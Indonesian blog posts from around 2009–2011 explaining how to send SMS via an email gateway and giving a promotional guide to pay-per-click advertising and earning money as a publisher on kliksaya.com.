Pages

30 January 2011

Mengirim SMS lewat E-mail

Dari judulnya saja pasti teman² agak bingung, kok bisa yah ???
hehehehe

awalnya saya juga aga sanksi dengan informasi itu
tapi karna keinginan saya tuk mencobanya lebih besar :p

al hasil ternyata memang berhasil bro :)

OK langsung saja ^_^
  1. Untuk mengirimkan sms via email pribadi anda harus mendaftar di sini
  2. Tunggu sms konfirmasi yang di kirim dari web tersebut ke nomor handphone anda. oh iyah kode konfirmasi tersebut merupakan password anda tuk login ke web tersebut.
  3. Nah skarang lakukan login atau konfirmasi pendaftaran anda di web tadi.
  4. Setelah anda melakukan login anda akan di hadapankan pada halaman "bagaimana mengirim sms dari email".
  5. Sebenarnya service pada website tersebut tidak hanya memberikan layanan "sms via email" tp juga "sms via web tersebut". Hal ini sudah saya uji coba dan ternyata berhasil :)
  6. Untuk mengirim sms via email formatnya misalkan nomor hp tujuan anda 085757199110, maka pada email tujuannya tulis "6285757199110@smsmail.com" angka "62" merupakan kode wilayah negara sedangkan setelahnya adalah nomor penerima sms anda.
  7. Jika anda mengrim sms melalui website http://smsmail.com/id/user/home maka formatnya hanya nomor saja yg anda isikan pada nomor tujuan
  8. Jika anda tidak percaya silahkan coba sendiri ^_^
 
Baca Selengkapnya... Mengirim SMS lewat E-mail

Pay Per Click dari A sampai Z


Pengertian Pay Per Click

Pay Per Click dimulai dari adanya ide untuk menjual hasil pencarian pada search engine di tahun 1998. Kita bisa menjual link di search engine dengan harga 1 penny atau 2 penny untuk setiap klik. Sistem penjualan iklan ini telah berkembang dengan cepat menjadi salah satu pasar iklan di internet yang kompetitif.

Dengan menggunakan layanan Pay Per Click, sebuah situs pengiklan bisa mendapatkan traffic dengan cepat dari situs lain sehingga memungkinkan pengujian model bisnis baru dengan cepat pula secara real time. Jadi dengan menggunakan layanan PPC situs pengiklan tidak perlu menunggu agar situsnya tampil di halaman depan search engine dan mendapat traffic dari search engine.

Namun demikian rupanya perlu dikaji ulang harga iklan PPC sehingga situs pengiklan bisa mendapatkan harga yang wajar. Untuk itu perlu dilihat juga apakah pengeluaran untuk iklan ini masih terbilang menguntungkan dibanding dengan pemasukan dari penjualan situs. Hal lain yang perlu diperhatikan adalah sasaran iklan, pemantauan iklan pesaing dan penelitian mengenai kata kunci yang kita gunakan untuk memasang iklan.

Alasan Menggunakan Layanan Pay Per Click

Beberapa pemilik situs mungkin sudah menyadari hal ini. Alasan menggunakan Pay Per Click cukup mudah ditebak. Yaitu mendapatkan Traffic dengan cepat sehingga bisa meningkatkan konversi/penjualan dari situs yang kita miliki.

Pada proses yang wajar, sesuai dengan angka statistik kita mendapatkan traffik 90% dari search engine. Bila ini terjadi maka kita harus menunggu sampai search engine melakukan indexing ke situs kita sehingga situs kita tampil di halaman search engine. Namun demikian bila kita ada di nomor 200rb, user mana yang mau membuka halaman kita?

Hal lain yang mungkin mendorong pemilik situs menggunakan Pay Per Click adalah keinginan untuk mendapatkan Feedback dengan cepat sesuai perkembangan pasar saat ini. Satu hal lain yang mungkin adalah untuk membuka peluang prototype bisnis online baru sebelum kita melaunch model bisnis tersebut di Internet.

Sebagai contoh anda bisa menggunakan kekuatan PPC seperti kliksaya.com untuk menawarkan produk tertentu milik anda. Jika tidak ada yang tertarik untuk berkunjung atau kurangnya klik atas iklan kita di kliksaya.com tersebut maka hal itu bisa merupakan indikasi atas beberapa hal sebagai berikut :

- Harga yang kita tawarkan untuk iklan terlalu rendah
- Pasar belum siap akan produk yang kita jual
- Pasar sasaran yang kita bidik salah
- Situs yang kita iklankan tidak memberikan penawaran menarik


Mendapatkan Feedback dari PPC dan Search Engine
Ketika kita membuka account PPC semisal kliksaya.com, mungkin kita ragu untuk membelanjakan banyak uang kita di pasar iklan PPC tersebut. Bila kita membelanjakan sedikit uang, situs bisnis online kita mungkin kehilangan kesempatan mendapatkan indexing yang telah disiapkan oleh search engine. Dengan kata lain ketika kita membelanjakan sejumlah Rp. 300.000,-- untuk beriklan di kliksaya.com sejumlah traffik akan mengalir ke situs kita. Traffic tersebut kemudian akan di convert oleh search engine dan search engine melakukan indexing dengan memasukan situs kita di kemudian hari. Kemungkinan kita bisa muncul di halaman yang lebih depan dari sekarang.

Hal ini menunjukkan bahwa pembelanjaan kita sejumlah Rp. 300.000 di kliksaya.com akan menjadi lebih menguntungkan bila setelah itu kita mendapatkan indexing dari search engine. Bandingkan bila kita hanya membelanjakan Rp. 20.000 setiap bulan maka ketika search engine akan melakukan indexing atas peningkatan traffic kita yang berasal dari kliksaya.com, Looping search engine terputus pada saat dana kita (Rp. 20.000) habis dan rencana indexing search engine akan hilang dan Search engine tidak jadi melakukan indexing.

Ini berarti pengeluaran sejumlah Rp. 300.000,-- selama satu periode akan membuahkan lebih banyak hasil dibandingkan pengeluaran sejumlah Rp. 50.000 setiap bulan.

Jika anda adalah seorang yang menawarkan affiliasi, coba hitung kembali total pendapatan anda. Anda mungkin mendapatkan banyak uang dari affiliasi yang anda lakukan. Namun demikian anda juga mengeluarkan banyak uang pula untuk membayar komisi mereka. Bila anda jeli maka jumlah uang yang bisa dihasilkan akan lebih banyak bila kita menjual produk kita sendiri melalui program PPC seperti yang ditawarkan oleh kliksaya.com. Namun demikian daya tarik sesungguhnya dari program affiliasi adalah mendapatkan uang tanpa mengeluarkan biasaya sepeserpun. Anda bisa saja mengarahkan member anda untuk menawarkan produk affiliasi tersebut dengan menggunakan iklan PPC.

Layanan PPC mana yang bisa dipercaya?
Sebetulnya ada banyak sekali situs yang menawarkan layanan PPC di Indonesia. Seperti yang saya contohkan diatas mungkin anda bisa mempercayai kliksaya.com sebagai situs layanan PPC anda.

Alasan apa yang anda perlukan agar anda percaya dengan kliksaya.com? Kontak person yang dihubungi? Alamat yang jelas dan bisa dihubungi? Nomor telepon yang mudah dihubungi? Atau sekedar bukti bahwa dia telah membayar publisher yang menampilkan iklan?

Baiklah semua hal diatas telah terpenuhi oleh kliksaya.com bahkan dia juga telah membuat kontes menulis tentang pay per click di tahun 2008 dan memberikan hadiah sebesar RP. 100.000 kepada 10 penulis yang beruntung. Uniknya lagi karena mungkin hal ini memberi feedback positif di dunia PPC di tanah air, kliksaya.com membuka kontes menulis tentang PPC lagi dengan deadline 15 Februari 2009. Saya sendiri merupakan salah satu publisher kliksaya.com. Saat ini saya tengah menanti pembayaran kedua saya di akhir bulan Februari 2009.

Memang saat ini banyak juga layanan scam di Internet, bila anda masih ragu lakukan pencarian di search engine untuk melihat testimoni banyak orang tentang layanan kliksaya.com termasuk bukti pembayaran yang bisa dilihat di blog.kliksaya.com

Memperkirakan Harga Wajar Iklan PPC
Untuk menilai harga satu klik, Anda harus memutuskan apa tujuan pemasaran yang anda lakukan. Jika tujuan pemasaran anda hanyalah branding maka bisa dipastikan bahwa anda akan kehilangan sejumlah uang untuk menjual brand produk yang anda jual. Sebaliknya dari Branding tersebut anda bisa melihat sejauh mana penetrasi pasar yang telah dilakukan dan sejauh mana peningkatan penjualan yang terjadi.

Bila kita menggunakan layanan PPC untuk menawarkan suatu produk yang kita jual, tentunya anda perlu menghitung berapa harga yang harus kita bayar untuk mendatangkan calon pembeli kepada situs kita.

Tingkat Konversi / Penjualan PPC

Situs di internet dewasa ini rata-rata mempunyai tingkat konversi (conversion rate) mencapai 10% sampai dengan 12 %. Angka ini bisa mencapai 30% lebih bila situs tersebut benar-benar mentargetkan pasar tertentu dan terlihat menarik bagi pengunjung.

Berhubung sedikit investasi diperlukan untuk mendatangkan traffik ke situs kita danbanyak sekali situs pesaing yang menawarkan hal yang sama, produk dengan nilai jual tinggi biasanya memiliki tingkat konversi yang lebih kecil dibandingkandengan produk dengan harga murah. Tingkat konversi yang wajar untuk produk harga mahal berkisar antara 3% sampai dengan 5%.

Menghitung Keuntungan dari PPC
Ada banyak sekali faktor yang menentukan harga sebuah klik pada layanan PPC. Terkadang sulit untuk mengukur nilai Branding tetap beberapa iklan PPC memang terbukti membantu mengenalkan Brand ke Pasar. Bila kita bisa menghitung berapa banyak penjualan, keuntungan tiap penjualan dan memperkirakan berapa banyak nilai konversi dari PPC kita bisa menghitung berapa harga sebuah klik pada iklan kita.

Melakukan Survey dengan PPC
Salah satu kelebihan mengikuti program PPC untuk menjual produk adalah untuk mengetahui tingkat kompetisi pasar. Adalah hal bagus untuk kehilangan sejumlah uang di awal hari untuk mengetahui seberapa bagus produk yang kita miliki dibandingkan dengan produk pesaing. Sayangnya kita hanya mendapati data klikrate dari iklan yang kita tampilkan. Bila kita mendapatkan data pesaing tentunya kita bisa melihat kompetisi yang sedang terjadi. Namun demikian dengan menggunakan data yang kita punya saja, kita bisa melihat sejauh mana atensi pasar akan produk yang kita tawarkan melalui program PPC ini.

Hmm tanpa sadar saya telah menulis hampir 4 halaman A4 disini. Baiklah intinya adalah kita pasti kehilangan uang dalam proses belajar. Untuk itulah bila anda benar-benar ingin terjun dalam bisnis online dengan menggunakan layanan PPC untuk menambah traffik, hitung dari awal tingkat kunjungan ke situs anda sebelum dan sesudahnya. Pada awal mungkin anda belum meraih keuntungan, hal ini wajar karena ini masih dalam tahap pembelajaran. Bila mungkin catatlah semua data yang ada dan bandingkan untung dan ruginya. Jangan lupa anda juga harus mempertimbangkan posisi anda di search engine sebagai feed back mengikuti layanan PPC seperti halnya kliksaya.com.


Peserta Kontes Menulis KlikSaya.Com Periode 2

Nama Peserta : Denny Restria
Email : guardianmask @ yahoo .com
 
Baca Selengkapnya... Pay Per Click dari A sampai Z

Panduan Lengkap Mendapatkan Uang dari PPC Kliksaya.com

Apa yang ada di artikel ini?

Review Pay Per Click (PPC) dan Istilah di dalamnya (lengkap)
Langkah Mendapatkan Uang dari PPC kliksaya (step by step)
  1. Langkah #1 Mendapatkan uang dari PPC Meningkatkan Trafik Situs/Blog
  2. Langkah #2 Memasang iklan PPC
  3. Langkah #3 Penempatan iklan PPC untuk meningkatkan klik
  4. Langkah #4 Kunci rahasia mendapat uang dari kliksaya
Panduan ini ditulis berdasarkan pengalaman pribadi dan sepenuhnya atas apa yang pernah kami alami sebelumnya. Berawal dari perkenalan dengan dunia blog bulan Juli 2008 sampai mendapatkan komisi pertama di Januari 2009.

Seperti yang telah kami jelaskan pada artikel kami yang sebelumnya (Pay per click dari A sampai Z), Pay Per Click merupakan layanan iklan di internet dengan mekanisme pembayaran setiap kali klik. Ini Artinya pemasang iklan hanya akan membayar sejumlah uang untuk setiap klik dengan harga yang telah disepakati sebelumnya.

Iklan Pay Per Click umumnya diterbitkan oleh layanan PPC seperti halnya kliksaya.com ke sejumlah situs/blog (kemudian disebut penerbit) yang tergabung dalam jaringan kliksaya.com. Layanan dari PPC inilah yang kemudian marak diikuti oleh pemilik situs / pemilik blog (blogger) di tanah air guna mendapat penghasilan tambahan yang bersifat passive income.

Review Pay Per Click (PPC) dan Istilah di dalamnya

Sebelum kami jelaskan lebih lanjut tentang bagaimana mendapatkan uang dari PPC Kliksaya.com perlu anda simak beberapa istilah yang sering digunakan dalam dunia Pay Per Click diantaranya adalah Publisher, Advertiser, Traffic, Traffic Impression, Click, Fraud Click, CTR, CPM, PR, SEO, Alexa, Blogging, Blogwalking, Backlink, Do Follow, No Follow, Text Ads dan Image Ads/Banner

Publisher

Disebut juga dengan penerbit merupakan sekumpulan situs/blog yang bekerja sama dengan penyedia layanan PPC seperti kliksaya.com untuk menampilkan iklan yang dibuat oleh advertiser

Advertiser

Disebut juga dengan istilah pengiklan merupakan sekumpulan situs/blog yang bekerja sama dengan penyedia layanan PPC dengan tujuan mendapatkan traffik unik atas satu topik/tema tertentu dengan memunculkan iklan pada situs penerbit. Advertiser memiliki harapan berhasil menjual sesuatu kepada pengguna internet yang membuka iklan atau memiliki tujuan Branding.

Traffic/Trafik

Seperti arti karta harfiahnya, Traffic/Trafik menggambarkan jumlah pengunjung yang membuka situs/blog kita. Lebih jauh lagi trafik dibagi menjadi dua yaitu jumlah orang (IP Unik) yang membuka situs/blog dan jumlah halaman terbuka di situs/blog kita. Lebih jelasnya begini, misalkan terdapat data bahwa jumlah IP Unik per hari adalah 30 maka ini berarti ada 30 IP Unik yang membuka situs/blog kita. Karena IP Unik bisa mewakili jumlah orang maka selanjutnya bisa dibilang bahwa ada 30 orang / hari yang membuka situs kita.

Berbeda dengan IP Unik, Jumlah halaman terbuka tidak terpengaruh dengan IP Unik. Ini seperti halnya bila ada 30 orang yang membuka situs/blog kita kemudian terdapat data jumlah page view sejumlah 300 maka didapat kesimpulan dari 30 orang itu rata-rata membuka 10 halaman di situs/blog kta.

Traffic Impression

Merupakan istilah yang digunakan untuk menggambarkan berapa banyak iklan PPC ditampilkan kepada pembaca yang menjadi target iklan. Pada kliksaya.com Traffic Impression ini disebut dengan jumlah “Tampil”. O iya perlu diketahui jumlah traffic impression per bulan yang dipersyaratkan oleh kliksaya.com adalah sejumlah 10.000 page views/month. Jumlah yang tidak sedikit, namun untuk mendapat 10.000 page view per bulan ternyata tidak begitu sulit.

Click

Click atau dalam bahasa Indonesia disebut klik, merupakan jumlah iklan yang dibuka oleh pengunjung dengan cara melakukan klik atas iklan tersebut. Klik inilah yang kemudian mentrigger pulsa advertiser untuk berkurang dan menambaj komisi penerbit yang mendapatkan klik dengan menerbitkan iklan tersebut.

Fraud Click

Fraud Click merupakan klik palsu yang dilakukan oleh pengguna internet dengan tujuan yang melenceng dari tujuan semula PPC yaitu iklan. Fraud klik umumnya dilakukan oleh publisher nakal yang tidak mengindahkan etika bisnis PPC dan ingin segera mendapatkan keuntungan tanpa melalui jalan yang sulit yaitu mendapatkan klik atas dasar keinginan pribadi pengunjung situs/blog.

Farud Click dapat juga dilakukan oleh publisher pesaing yang memiliki tujuan agar situs/blog pesaing di banned oleh penyedia layanan PPC seperti kliksaya.com dan pindah ke PPC lain agar tidak menjadi saingan.

CTR

CTR merupakan perbandingan antara jumlah traffic impression dan jumlah klik yang berhasil di peroleh pada suatu situs/blog. CTR yang ditampilkan dalam bentuk persentase ini umumnya memiliki angka dibawah 1%.

CPM

CPM atau disebut juga dengan eCPM merupakan singkatan dari Cost Per Million (estimated Cost Per Million) merupakan perkiraan jumlah biaya yang harus dikeluarkan oleh pengiklan/advertiser untuk 1000 traffic impression yang didapat dari situs penerbit/publisher.

Page Rank (PR)


Google Page Rank atau yang lebih dikenal dengan nama Page Rank merupakan Rangking yang dibuat oleh Google atas seluruh halaman internet di dunia. Atas dasar Page Rank inilah kemudian Google membuat urutan atas hasil pencarian di Internet.

Google Spider

Google Spider adalah sebuah algoritma search engine Google yang digunakan untuk melakukan indexing atas halaman situs/blog di internet guna membentuk Page Rank

SEO

Search Engine Optimization yang lebih dikenal dengan nama SEO merupakan teknik untuk mendapatkan indexing dari Google sehingga situs/blog kita memiliki ranking yang tinggi di Google dan tampil di halaman pertama search engine sehingga mampu meningkatkan jumlah traffik/page view ke situs/blog.

Alexa Rank

Alexa Rank merupakan layanan ranking independen yang dibuat berdasarkan jumlah traffik yang masuk ke sebuah situs dan jumlah page view yang dibuka oleh IP Unik / Orang yang masuk ke situs tersebut. Alexa Rank ini diberikan oleh dari layanan alexa.com

Blogging

Merupakan aktifitas menulis seperti halnya menulis dengan menggunakan media internet seperti halnya menulis di buku harian. Orang yang menulis sebuah blog (blogger) beberapa ada yang memakai layanan blog di internet sebagai penghasil uang dengan memanfaatkan jasa PPC dan Afiliate di Internet.

Blogwalking

Sama seperti arti harfiahnya Blogwalking adalah aktifitas jalan-jalan dari satu blog ke blog lainnya dengan meninggalkan komentar di blog-blog yang telah dikunjungi dengan harapan mendapat kunjungan balik dari pemilik blog yang telah dikunjungi tersebut.

Backlink

Backlink disebut juga link balik pada bahasa Indonesia merupakan sebuah url link dari situs/blog kita yang disematkan di situs lain dengan tujuan mendapatkan traffik, mendapatkan PR yang lebih tinggi, mendapatkan Alexa rank yang lebih tinggi dan mendapatkan indexing yang lebih sering dari Google.

Do Follow dan No Follow

Do Follow adalah nilai tag/relasi dari sebuah backlink yang digunakan untuk memerintahkan Google Spider agar mengikuti backlink pada halaman situs/blog. Sebaliknya No Follow akan memerintahkan Google Spider untuk tidak mengikuti backlink pada halaman situs/blog dengan harapan Google Spider tetap di situs/blog tersebut dan melakukan Indexing lebih banyak agar PR situs/blog menjadi lebih tinggi.

Text Ads dan Image Ads

Kata Text Ads yang biasa muncul pada layanan PPC adalah iklan PPC yang berbentuk sekumpulan huruf/text. Sebaliknya Image Ads (disebut juga banner) merupakan iklan PPC dengan bentuk gambar/animasi.

Langkah Mendapatkan Uang dari PPC

Nah setelah saya menjelaskan beberpa istilah yang sering digunakan dalam layanan PPC sepetirhalnya kliksaya.com sekaranglah saya membahas tentang bagaimana mendapatkan uang dari PPC. Untuk mendapatkan uang dari PPC (prinsip monetize dari suatu blog) tentunya pada awalnya kita harus mendapatkan banyak traffik terlebih dahulu dan kemudian baru menampilkan iklan PPC tersebut pada situs/blog kita. Setelah beberapa saat berselang anda mungkin perlu memeriksa kembali penempatan zona iklan tersebut untuk memantau dan meningkatkan jumlah klik atas iklan PPC. Selengkapnya tentang mendapatkan uang dari PPC dapat dibaca sebagai berikut.

Langkah #1 Mendapatkan uang dari PPC
Meningkatkan Trafik Situs/Blog


Mendapatkan trafik merupakan hal yang sangat penting bila kita ingin mendapatkan uang dari PPC sebagai penghasilan tamabahan yang bersihat passive income. Dengan trafik yang sangat minim, tentunya penghasilan kita dari PPC akan sangat kecil pula bukan? Kalau ini terjadi umumnya banyak pemilik situs/blog yang kemudian melakukan cara curang yaitu melakukan klik pada zona iklan sendiri.

Hal ini rupanya telah diantisipasi oleh kliksaya.com. Kliksaya.com mempersyaratkan jumlah page view minimal 10.000/bulan bagi publisher yang mendaftar dengan tujuan meminimalkan fraud klik.

Beberapa hal yang bisa dilakukan untuk meningkatkan trafik adalah sebagai berikut :

Gunakan SEO

SEO merupakan salah satu cara meningkatkan trafik melalui perantara search engine dengan tampil di halaman depan hasil pencarian menggunakan search engine (Google/Yahoo/MSN dll). Publisher pemula dapat mempelajari hal ini di berbagai blog yang telah menulis tentang SEO. Namun demikian satu tips dari saya adalah gunakan keyword andalan sebagai bagian dari nama domain/sub domain. Misal anda menulis tentang kehamilan, maka akan sangat sempurna bila anda memiliki nama domain kehamilan.com. Namun demikian bila saat ini anda telah memiliki nama domain sendiri misal denny.com maka ada baiknya anda menulis kehamilan dengan nama sub domain kehamilan.denny.com. Tips lain adalah gunakan keyword tersebut pada title dan deskripsi situs/blog.

Gunakan Layanan PPC

Tidak ada salahnya kita menggunakan layanan PPC seperti kliksaya.com untuk meningkatkan trafik. Alasan mendasar hal ini adalah mendapatkan PR maupun Alexa rank yang lebih tinggi sehingga pada saatnya nanti kita bisa memiliki trafik yang cukup (tanpa PPC) untuk balik menghasilkan uang melalui penjualan iklan PPC. Namun demikian bila memutuskan untuk melakukan hal ini, pastikan situs yang kita iklankan mempunyai kualitas yang cukup untuk dijual. Bila tidak maka hal ini akan menjadi sia-sia saja.

Satu Situs Satu Topik / Satu Blog Satu Topik

Iya benar, usahakan anda hanya menggunakan satu situs/blog untuk satu tema. Misalkan anda menggunakan nama domain yang berbeda dengan keyword yang ingin ditembak, gunakan keyword tersebut sebagai nama domain. Ada beberapa hal yang mendasari teori ini untuk meningkatkan jumlah traffik situs/blog. Misalkan begini, saya memutuskan untuk menulis informasi tentang game di internet. Akan lebih baik bila saya tidak menulis topik apapun selain game di situs/blog tersebut. Label yang saya gunakan tentu saja kemudian menjelaskan tenang genre game seperti RPG, Game Online – MMORPG, 1st Person Action, RTS (Real Time Strategy Game) dll.

Strategi ini dimaksudkan bila suatu saat ada pembaca yang ingin tahu tentang game World of Warcraft di sits/blog kita. Setelah dia mendapatkan informasi yang diperlukannya, dia akan melirik topik lain di situs/blog kita yang tidak lain tentang game. Ini berarti saat itu dia hanya ingin membaca tentang game, dan kita memiliki apa yang dia perlukan yaitu ulasan tentang game. Hal ini sebetulnya bisa diakali dengan menggunakan related post pada suatu blog umum namun demikian saya rasa hal ini kurang memiliki daya saing bila dibandingkan situs yang benar-benar memiliki satu tema/topik.

Intinya ketika dia selesai dengan satu game tersebut, dia kemudian akan membaca/mendownload game lain di situs kita atau bahkan mengingat situs/blog kita sebagai situs andalan dia bila ingin mencari informasi tentang game. Kalau kita beruntung mungkin dia akan membookmark situs/blog kita di komputernya/di online social bookmarker di internet seperti dig, delicious dll. Bila ini berlanjut mungkin dia akan merekomendasikan situs kita kepada orang lain.

Readmore, Daftar Isi dan Related Post

Ketiga hal diatas merupakan hal yang wajib anda lakukan untuk meningkatkan page view di situs/blog kita. Anda bisa menemukan cara untuk membuat readmore, daftar isi dan related post di blog lain yang berbahasa Indonesia maupun berbahasa inggris. Saya hanya akan membahas mengenai kenapa tiga teknik diatas perlu untuk dilakukan untuk meningkatkan page view

Secara umum readmore akan meningkatkan pageview maximal 2x dari normal. Ini terjadi karena dengan menggunakan readmore, ketika user ingin membaca tentang satu topik yang kita jadikan label maka tidak semua bagian artikel muncul seluruhnya. User hanya mendapatkan judul artikel dan beberapa penggal paragraph awal yang mencerminkan isi artikel.

Dengan demikian selain mempercepat loading situs/blog kita akan mendapat tambahan page view karena user harus membuka readmore untuk mendapatkan artikel lengkap yang ingin dibaca.

Daftar isi merupakan hal yang wajib ada pada situs/blog. Ini dimaksudkan agar user yang telah masuk ke situs/blog kita mendapatkan informasi mengenai artikel apa saja yang ada di dalam sit/blog. Bila kita beruntung maka dia akan membaca artikel lain yang diperlukannya sehingga menambah jumlah page view.

Related post pada sebuah blog mempunyai fungsi yang sama dengan daftar isi. Related post biasanya akan menampilkan judul artikel terkait dengan artikel yang saat ini tengah dibaca oleh user sehingga mampu meningkatkan page view bila user tertarik untuk membaca artikel lain pada related post tersebut.

Kecepatan Loading Situs/blog

Ketika kita ingin meningkatkan trafik, satu hal yang perlu diperhatikan adalah kecepatan loading dari situs/blog kita. Sangatlah percuma bila kita mempunyai banyak artikel dengan SEO bagus tetapi loadingnya sangat lambat. Bisa dipastikan pengunjung mungkin belum sempat dialihkan oleh search engine ke situs kita tetapi dia telah menutup browsernya.

Untuk meningkatkan kecepatan loading situs/blog anda bisa membacanya di posting saya mengenai kecepatan loading blog. Secara garis besar untuk meningkatkan kecepatan loading blog/situs kita harus menghemat ruang pada situs/blog dengan menampilkan gambar/animasi secara optimal. Hindari penggunaan gambar yang berlebih dan script yang terlalu banyak yang hanya mengutamakan keindahan situs/blog.

Namun demikian ingatlah selalu bahwa lawan keindahan adalah kecepatan. Optimalkan kecepatan loading blog/situs namun jangan terlalu mengorbankan keindahan situs/blog dan sebaliknya.

Mengadakan Kontes SEO/Kontes Menulis
Kontes blog pernah kami bahas sebelumnya pada artikel kami sebelumnya yang berjudul kontes blog. Secara tidak langsung kontes blog yang mengharuskan kita memberikan backlink ke blog yang mengadakan kontes akan menaikkan Page Rank dan memungkinkan indexing yang lebih cepat oleh Google Spider. Pengadaan kontes semacam ini tentunya akan meningkatkan trafik secara tidak langsung karena banyaknya kontestan yang ingin membaca secara langsung aturan main yang diterapkan pada blog yang asli.

Setelah kontes blog / kontes menulis ini selesai, maka yang tersisa adalah sebuah situs/blog dengan rangking alexa tinggi dan page rank yang lebih tinggi. Masih ingat dengan konsep SEO? ini berarti anda akan mendapatkan lebih banyak trafik dari Search Engine

Backlink Yang Relevan

Banyak blogger menawarkan link exchange (pertukaran link) dengan maksud untuk meningkatkan backlink. Anda mungkin pernah mendengar sebuah backlink dapat meningkatkan trafik, PR sampai alexa rank. Hal ini sebetulnya tidak selamanya benar. Yang benar adalah Google Page Rank dapat meningkat apabila kita mendapatkan backlink dari sebuah situs dengan tema yang sama dengan kita.

Misalkan saya menulis tentang buku komik. Akan lebih bagus dan terlihat berbobot bagi Google bila saya mendapat backlink dari satu situs lain yang juga membicarakan hal yang sama yaitu buku komik.

Backlink yang berasal dari blog yang tidak mengkhususkan pada tema tertentu tidak memiliki bobot yang baik dibandingkan dengan linkexchange dari sebuah situs dengan tema sama. Pernahkah anda berpikir akan kualitas blog lawan sebelum melakukan link exchange? Saran saya selalu filter permintaan link exchange tersebut karena bila anda me link sebuah spamblog yang hanya berisi link maka bisa-bisa blog/situs anda masuk dalam daftar spam karena google spyder melihat anda kurang bisa memilah dengan siapa anda melakukan link exchange.


Langkah #2
Memasang iklan PPC


Situs/blog kamu sudah memenuhi persyaratan minimal page view di kliksaya.com? Tinggal beberapa langkah lagi untuk mendapatkan uang dari PPC kliksaya.com

Mendaftar ke situs PPC kliksaya.com

Sebelum mendaftar ke PPC kliksaya.com dan mendapatkan uang dari kliksaya.com ada beberapa hal yang harus kamu siapkan, salah satunya adalah rekening bank. Kliksaya.com mensupport penggunaan rekening bank BCA dan Bank Mandiri. Namun demikian setelah beberapa lama kliksaya berdiri, kliksaya bisa menerima saran dari penggunanya yaitu mensupport rekening bank yang tergabung dalam jaringan ATM bersama yang ada pada bank mandiri.

Hal ini disambut baik oleh banyak blogger dan pemilik situs karena rekening blogger/pemilik situs hanya akan berkurang Rp. 5.000 setiap kali mendapat pembayaran daripada harus dipotong biaya administrasi hingga Rp. 10rb / bulan (jika membuka rekening mandiri/BCA) walaupun belum mendapatkan pembayaran dari kliksaya.com

Langkah mendaftar cukup mudah, arahkan browser anda ke situs www.kliksaya.com. Kliksaya hanya memiliki satu situs utama, karena itu jangan sampai salah membuka situs yang berniat phising (situs palsu yang bertujuan mendapatkan user id dan password) di masa depan seperti (misal) www.klik-saya.com, www.kliksaya.net dll.

Setelah itu anda tinggal mengklik kata belum memiliki id, isi form pendaftaran tersebut dan kemudian klik daftar. Pada dasarnya mendaftar ke kliksaya.com tidak terlalu sulit karena itu saya tidak akan menulis lengkap mengenai hal ini. Temukan bantuan untuk mendaftar pada tab panduan di situs tersebut.
Daftar Panduan untuk Pemasang Iklan

Nah kalau begini saya kan tinggal mengajari cara menyematkan iklan PPC kliksaya pada situs/blog. Bagi mereka yang menggunakan layanan blogger untuk blogging, anda bisa menyematkan iklan PPC dengan cara memasukkannya sebagai kode HTML/Javascript.

Satu hal yang wajib diperhatikan dalam hal ini adalah satukan iklan dengan situs/blog kita. Untuk melakukan hal ini bisa digunakan warna yang serasi antara iklan dan situs/blog kita. Hal ini tentunya akan membuat user tidak terganggu dengan adanya iklan PPC dari kliksaya

Langkah #3
Penempatan iklan PPC untuk meningkatkan klik


Sebenarnya kami pernah menjelaskan hal ini melalui postingan kami sebelumnya yang berjudul meningkatkan klik dengan desain yang menarik dimana disitu dijelaskan bagian mana yang bisa meningkatkan klik untuk situs/forum/blog. Namun demikian ada beberapa update yang bisa anda dapatkan bila membaca beberapa tips berikut.

Zona Advertotial Bisnis Online

Salah satu strategi untuk mendapatkan penghasilan yang lebih besar dari PPC kliksaya adalah membuat satu kolom iklan yang memiliki judul yang menggambarkan bahwa ini adalah iklan (misal dengan memberinya nama Adverotial Bisnis Online).

Bagaimana ini bisa meningkatkan pendapatan? Cara kerjanya cukup mudah. Kliksaya menggunakan layanan bidding dalam menampilkan iklan PPC. Dengan membuat pernyataan bahwa kolom ini merupakan kolom iklan, maka hal ini akan menarik hati advertiser besar yang membayar dengan harga tinggi dalam sekali klik.

Alasannya cukup simple, bagi advertiser besar, adanya tulisan bahwa ini merupakan advertorial bisnis online, maka dengan sendirinya user yang ingin membuka iklan tersebut sudah tahu bahwa ini merupakan iklan dan bila memang dia membuka iklan tersebut maka bisa dipastikan ini bukan salah klik namun memang dia ingin tahu mengenai informasi bisnis online yang ditawarkan pada iklan PPC kliksaya tersebut. Dengan demikian advertiser mau membayar lebih mahal dan kita mendapatkan komisi yang lebih besar dari kliksaya.

Zona Iklan Yang Lebih Efektif
Bagaimana meningkatkan klik


Bila saat ini anda telah mendapatkan sejumlah klik dari user yang mengakses blog/situs, maka perhatikan tingkat efektifitas iklan tersebut. Selalu amati apakah grafik pergerakan jumlah klik pada zona iklan tersebut agar bisa diambil suatu kesimpulan untuk menentukan strategi apakah kita harus merubah zona iklan atau tidak.

Singkat kata begini, setelah beberapa waktu menggunakan zona iklan gambar, saya melihat tingkat loading blog yang berkurang. Setelah saya amati lagi, zona iklan gambar tidak menghasilkan lebih banyak klik dibanding zona iklan text pada waktu itu (nopember 2008).

Satu alasan yang menyebabkan hal ini terjadi di waktu itu adalah sedikitnya iklan gambar yang dipasang oleh advertiser walaupun nilai iklan gambar termasuk paling murah. Hasilnya seing sekali iklan gambar memunculkan iklan “pasang iklan disini” karena waktu itu pengeluaran advertiser iklan gambar telah mencapai limit yang ditentukan.

Berawal dai kejadian inilah, kita harus selalu mencari zona iklan yang lebih efektif untuk situs/blog kita. Bila terjadi penurunan pendapatan/klik segera cari tahu apakah penyebabnya adalah memang menurunnya jumlah pengiklan atau bertambahnya situs pesaing.

Pada saat ini zona iklan yang menghasilkan pendapatan lebih banyak bagi saya adalah iklan persegi horizontal yang umumnya dipasang diatas postingan blog. Nomor dua tertinggi adalah zona iklan text skycraper di sebelah kiri (bukan kanan). Penyebabnya cukup simpel yaitu user yang membaca umumnya melihat iklan tersebut sebelum membaca artikel utama.

Penyebab kedua adalah zona iklan yang disematkan di sebelah kanan umumnya di load terakhir oleh bowser internet karena memang posisi kode zona tersebut ada di bawah halaman html. Bila ini dibiarkan maka bisa dibayangkan bila loading situs/blog kita lambat maka iklan PPC tersebut tidak akan muncul ketika user men “stop” browser ketika artikel utama telah selesai di load.

Iklan Gambar vs Iklan Text

Seperti penjelasan kami sebelumnya, berdasarkan pengalaman jumlah iklan gambar tidak sebanyak iklan text. Ini berarti kemungkinan munculnya iklan gambar di situs/blog menjadi lebih terbatas karena adanya limit dari pengiklan. Dengan alasan inilah saya belum memasang iklan gambar.

